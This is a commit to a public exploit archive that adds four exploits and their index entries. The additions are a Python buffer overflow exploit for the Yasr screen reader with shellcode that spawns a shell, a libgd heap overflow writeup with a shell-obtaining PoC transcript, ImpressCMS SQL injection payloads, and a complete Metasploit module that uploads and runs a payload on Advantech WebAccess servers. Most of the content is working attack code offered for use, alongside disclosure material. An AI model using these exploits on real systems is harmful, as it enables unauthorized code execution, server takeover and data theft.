DB: 2016-04-27
4 new exploits Yasr Screen Reader 0.6.9 - Local Buffer Overflow Advantech WebAccess Dashboard Viewer Arbitrary File Upload libgd 2.1.1 - Signedness Heap Overflow ImpressCMS 1.3.9 - SQL Injection
This commit is contained in:
Offensive Security
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39fe341c5b
commit
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@ -35945,3 +35945,7 @@ id,file,description,date,author,platform,type,port
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39729,platforms/win32/remote/39729.rb,"PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow (MSF)",2016-04-25,"Jonathan Smith",win32,remote,21
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39730,platforms/ruby/webapps/39730.txt,"NationBuilder Multiple Stored XSS Vulnerabilities",2016-04-25,LiquidWorm,ruby,webapps,443
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39733,platforms/linux/dos/39733.py,"Rough Auditing Tool for Security (RATS) 2.3 - Crash PoC",2016-04-25,"David Silveiro",linux,dos,0
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39734,platforms/linux/local/39734.py,"Yasr Screen Reader 0.6.9 - Local Buffer Overflow",2016-04-26,"Juan Sacco",linux,local,0
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39735,platforms/windows/remote/39735.rb,"Advantech WebAccess Dashboard Viewer Arbitrary File Upload",2016-04-26,metasploit,windows,remote,80
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39736,platforms/linux/remote/39736.txt,"libgd 2.1.1 - Signedness Heap Overflow",2016-04-26,"Hans Jerry Illikainen",linux,remote,0
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39737,platforms/php/webapps/39737.txt,"ImpressCMS 1.3.9 - SQL Injection",2016-04-26,"Manuel García Cárdenas",php,webapps,80
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66
platforms/linux/local/39734.py
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66
platforms/linux/local/39734.py
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@ -0,0 +1,66 @@
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'''
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# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
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# Program affected: General-purpose console screen reader
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# Version: 0.6.9-5
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#
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# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
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# Program description: Yasr is a general-purpose console screen reader
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for GNU/Linux and other Unix-like operating systems.
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# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
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# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
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# Website: http://yasr.sourceforge.net/
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#
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#
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# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
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# [Thread debugging using libthread_db enabled]
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# Using host libthread_db library
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"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
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# Program received signal SIGSEGV, Segmentation fault.
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#
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# 0x90909090 in ?? ()
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#
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#gdb$ backtrace
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#0 0xb7fdebe0 in __kernel_vsyscall ()
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#1 0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
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../nptl/sysdeps/unix/sysv/linux/raise.c:56
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#2 0xb7e34a23 in __GI_abort () at abort.c:89
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#3 0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
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fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
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../sysdeps/posix/libc_fatal.c:175
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#4 0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
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"buffer overflow detected") at fortify_fail.c:31
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#5 0xb7effc3a in __GI___chk_fail () at chk_fail.c:28
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'''
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import os, subprocess
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def run():
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try:
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print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
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print "# This exploit is for educational purposes only"
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# JUNK + SHELLCODE + NOPS + EIP
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junk = "\x41"*298
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shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
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nops = "\x90"*12
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eip = "\xd2\xf3\xff\xbf"
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subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])
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except OSError as e:
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if e.errno == os.errno.ENOENT:
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print "Sorry, Yasr Console Reader - Not found!"
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else:
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print "Error executing exploit"
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raise
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def howtousage():
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print "Snap! Something went wrong"
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sys.exit(-1)
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if __name__ == '__main__':
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try:
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print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
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print "Author: Juan Sacco"
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except IndexError:
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howtousage()
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run()
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241
platforms/linux/remote/39736.txt
Executable file
241
platforms/linux/remote/39736.txt
Executable file
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@ -0,0 +1,241 @@
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Overview
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========
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libgd [1] is an open-source image library. It is perhaps primarily used
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by the PHP project. It has been bundled with the default installation
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of PHP since version 4.3 [2].
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A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which
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may result in a heap overflow when processing compressed gd2 data.
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Details
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=======
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4 bytes representing the chunk index size is stored in a signed integer,
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chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:
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libgd-2.1.1/src/gd_gd2.c:
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,----
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| 53 typedef struct {
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| 54 int offset;
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| 55 int size;
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| 56 }
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| 57 t_chunk_info;
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`----
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libgd-2.1.1/src/gd_gd2.c:
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,----
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| 65 static int
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| 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
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| 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy,
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| 68 t_chunk_info ** chunkIdx)
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| 69 {
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| ...
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| 73 t_chunk_info *cidx;
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| ...
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| 155 if (gd2_compressed (*fmt)) {
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| ...
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| 163 for (i = 0; i < nc; i++) {
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| ...
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| 167 if (gdGetInt (&cidx[i].size, in) != 1) {
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| 168 goto fail2;
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| 169 };
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| 170 };
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| 171 *chunkIdx = cidx;
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| 172 };
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| ...
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| 181 }
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`----
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`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then
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allocates memory for the compressed data based on the value of the
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largest chunk size:
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libgd-2.1.1/src/gd_gd2.c:
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,----
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| 371|637 if (gd2_compressed (fmt)) {
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| 372|638 /* Find the maximum compressed chunk size. */
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| 373|639 compMax = 0;
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| 374|640 for (i = 0; (i < nc); i++) {
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| 375|641 if (chunkIdx[i].size > compMax) {
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| 376|642 compMax = chunkIdx[i].size;
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| 377|643 };
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| 378|644 };
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| 379|645 compMax++;
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| ...|...
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| 387|656 compBuf = gdCalloc (compMax, 1);
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| ...|...
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| 393|661 };
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`----
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A size of <= 0 results in `compMax' retaining its initial value during
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the loop, followed by it being incremented to 1. Since `compMax' is
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used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation
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for `compBuf'.
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This is followed by compressed data being read to `compBuf' based on the
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current (potentially negative) chunk size:
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libgd-2.1.1/src/gd_gd2.c:
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,----
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| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
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| 340 {
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| ...
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| 413 if (gd2_compressed (fmt)) {
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| 414
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| 415 chunkLen = chunkMax;
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| 416
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| 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
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| 418 compBuf,
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| 419 chunkIdx[chunkNum].size,
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| 420 (char *) chunkBuf, &chunkLen, in)) {
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| 421 GD2_DBG (printf ("Error reading comproessed chunk\n"));
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| 422 goto fail;
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| 423 };
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| 424
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| 425 chunkPos = 0;
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| 426 };
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| ...
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| 501 }
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`----
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libgd-2.1.1/src/gd_gd2.c:
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,----
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| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
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| 586 {
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| ...
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| 713 if (!gd2_compressed (fmt)) {
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| ...
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| 731 } else {
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| 732 chunkNum = cx + cy * ncx;
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| 733
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| 734 chunkLen = chunkMax;
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| 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
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| 736 compBuf,
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| 737 chunkIdx[chunkNum].size,
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| 738 (char *) chunkBuf, &chunkLen, in)) {
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| 739 printf ("Error reading comproessed chunk\n");
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| 740 goto fail2;
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| 741 };
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| ...
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| 746 };
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| ...
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| 815 }
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`----
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The size is subsequently interpreted as a size_t by `fread()' or
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`memcpy()', depending on how the image is read:
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libgd-2.1.1/src/gd_gd2.c:
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,----
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| 221 static int
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| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
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| 223 uLongf * chunkLen, gdIOCtx * in)
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| 224 {
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| ...
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| 236 if (gdGetBuf (compBuf, compSize, in) != compSize) {
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| 237 return FALSE;
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| 238 };
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| ...
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| 251 }
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`----
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libgd-2.1.1/src/gd_io.c:
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,----
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| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
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| 212 {
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| 213 return (ctx->getBuf)(ctx, buf, size);
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| 214 }
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`----
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For file contexts:
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libgd-2.1.1/src/gd_io_file.c:
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,----
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| 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
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| 53 {
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| ...
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| 67 ctx->ctx.getBuf = fileGetbuf;
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| ...
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| 76 }
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| ...
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| 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
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| 93 {
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| 94 fileIOCtx *fctx;
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| 95 fctx = (fileIOCtx *)ctx;
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| 96
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| 97 return (fread(buf, 1, size, fctx->f));
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| 98 }
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`----
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And for dynamic contexts:
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libgd-2.1.1/src/gd_io_dp.c:
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,----
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| 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
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| 75 {
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| ...
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| 95 ctx->ctx.getBuf = dynamicGetbuf;
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| ...
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| 104 }
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| ...
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| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
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| 257 {
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| ...
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| 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
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| ...
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| 284 }
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`----
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PoC
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===
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Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:
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,----
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| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
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| [*] this may take a while
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| [*] offset 912 of 10000...
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| [+] connected to 1.2.3.4:5555
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| id
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| uid=33(www-data) gid=33(www-data) groups=33(www-data)
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| uname -a
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| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
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| 2016 x86_64 x86_64 x86_64 GNU/Linux
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| dpkg -l|grep -E "php5-(fpm|gd)"
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| ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...
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| ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...
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|
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| cat upload.php
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| <?php
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| imagecreatefromgd2($_FILES["file"]["tmp_name"]);
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| ?>
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`----
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Solution
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========
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This bug has been fixed in git HEAD [4].
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Full Proof of Concept:
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39736.zip
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Footnotes
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_________
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[1] [http://libgd.org/]
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[2] [https://en.wikipedia.org/wiki/Libgd]
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[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]
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[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]
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84
platforms/php/webapps/39737.txt
Executable file
84
platforms/php/webapps/39737.txt
Executable file
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@ -0,0 +1,84 @@
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=============================================
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MGC ALERT 2016-002
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- Original release date: April 8, 2016
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- Last revised: April 21, 2016
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- Discovered by: Manuel García Cárdenas
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- Severity: 7,1/10 (CVSS Base Score)
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=============================================
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I. VULNERABILITY
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-------------------------
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Time-based SQL Injection in Admin panel ImpressCMS <= v1.3.9
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II. BACKGROUND
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-------------------------
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ImpressCMS is a community developed Content Management System for easily
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building and maintaining a dynamic web site.
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III. DESCRIPTION
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-------------------------
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This bug was found using the portal with authentication as administrator.
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To exploit the vulnerability only is needed use the version 1.0 of the HTTP
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protocol to interact with the application.
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It is possible to inject SQL code in the variable
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"quicksearch_mod_profile_Field" on the page
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"/modules/profile/admin/field.php".
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IV. PROOF OF CONCEPT
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-------------------------
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The following URL's and parameters have been confirmed to all suffer from
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Time Based Blind SQL injection.
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quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
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(SELECT(SLEEP(1)))IRLV) AND ('DhUh' LIKE
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'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15
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quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
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(SELECT(SLEEP(5)))IRLV) AND ('DhUh' LIKE
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'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15
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V. BUSINESS IMPACT
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-------------------------
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Public defacement, confidential data leakage, and database server
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compromise can result from these attacks. Client systems can also be
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targeted, and complete compromise of these client systems is also possible.
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VI. SYSTEMS AFFECTED
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-------------------------
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ImpressCMS <= v1.3.9
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VII. SOLUTION
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-------------------------
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Install vendor patch.
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VIII. REFERENCES
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-------------------------
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http://www.impresscms.org/
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IX. CREDITS
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-------------------------
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This vulnerability has been discovered and reported
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by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
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X. REVISION HISTORY
|
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-------------------------
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April 8, 2016 1: Initial release
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April 21, 2016 2: Revision to send to lists
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XI. DISCLOSURE TIMELINE
|
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-------------------------
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April 8, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
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April 8, 2016 2: Send to vendor
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April 15, 2016 3: New contact to vendor with no response
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April 21, 2016 4: Send to the Full-Disclosure lists
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XII. LEGAL NOTICES
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-------------------------
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The information contained within this advisory is supplied "as-is" with no
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warranties or guarantees of fitness of use or otherwise.
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XIII. ABOUT
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-------------------------
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Manuel Garcia Cardenas
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Pentester
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130
platforms/windows/remote/39735.rb
Executable file
130
platforms/windows/remote/39735.rb
Executable file
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@ -0,0 +1,130 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
|
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# Current source: https://github.com/rapid7/metasploit-framework
|
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##
|
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|
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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|
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
|
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|
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def initialize(info = {})
|
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super(update_info(info,
|
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'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
|
||||
|
||||
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
|
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of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
|
||||
|
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The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
|
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the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
|
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upload arbitrary code (instead of an image) to the server, which will then be executed under the
|
||||
high-privilege context of the IIS AppPool.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'rgod', # Vulnerability discovery
|
||||
'Zhou Yu <504137480[at]qq.com>' # MSF module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2016-0854' ],
|
||||
[ 'ZDI', '16-128' ],
|
||||
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' => [
|
||||
['Advantech WebAccess 8.0', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 5 2016",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def version_match(data)
|
||||
# Software Build : 8.0-2015.08.15
|
||||
fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
|
||||
fingerprint['version'] unless fingerprint.nil?
|
||||
end
|
||||
|
||||
def vuln_version?
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.to_s
|
||||
)
|
||||
|
||||
if res.redirect?
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(res.redirection)
|
||||
)
|
||||
end
|
||||
|
||||
ver = res && res.body ? version_match(res.body) : nil
|
||||
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
|
||||
end
|
||||
|
||||
def check
|
||||
if vuln_version?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def upload_file?(filename, file)
|
||||
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
|
||||
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => "waUserName=admin",
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
)
|
||||
true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
|
||||
end
|
||||
|
||||
def exec_file?(filename)
|
||||
uri = normalize_uri(target_uri)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
uri = normalize_uri(target_uri, 'WADashboard', filename)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => res.get_cookies
|
||||
)
|
||||
true ? res && res.code == 200 : false
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless vuln_version?
|
||||
print_status("#{peer} - Cannot reliably check exploitability.")
|
||||
return
|
||||
end
|
||||
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
|
||||
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
|
||||
|
||||
print_status("#{peer} - Uploading malicious file...")
|
||||
return unless upload_file?(filename, filedata)
|
||||
|
||||
print_status("#{peer} - Executing #{filename}...")
|
||||
return unless exec_file?(filename)
|
||||
end
|
||||
end
|
||||
Loading…
Add table
Reference in a new issue